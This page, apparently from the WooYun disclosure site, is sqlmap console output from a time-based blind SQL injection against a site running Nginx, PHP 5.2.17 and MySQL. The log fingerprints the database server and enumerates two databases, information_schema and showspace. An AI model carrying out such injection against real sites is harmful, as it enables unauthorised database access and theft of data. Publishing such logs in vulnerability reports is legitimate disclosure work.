WooYun.org

[11:03:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL 5
[11:03:16] [INFO] fetching database names
[11:03:16] [INFO] fetching number of databases
[11:03:16] [WARNING] time-based comparison requires larger statistical model, please wait..............................                                                                                                                    
[11:03:23] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
2
[11:03:45] [INFO] retrieved: 
[11:03:55] [INFO] adjusting time delay to 2 seconds due to good response times
information_schema
[11:08:51] [INFO] retrieved: showspa
[11:11:17] [ERROR] invalid character detected. retrying..
[11:11:17] [WARNING] increasing time delay to 3 seconds 
ce
available databases [2]:
[*] information_schema
[*] showspace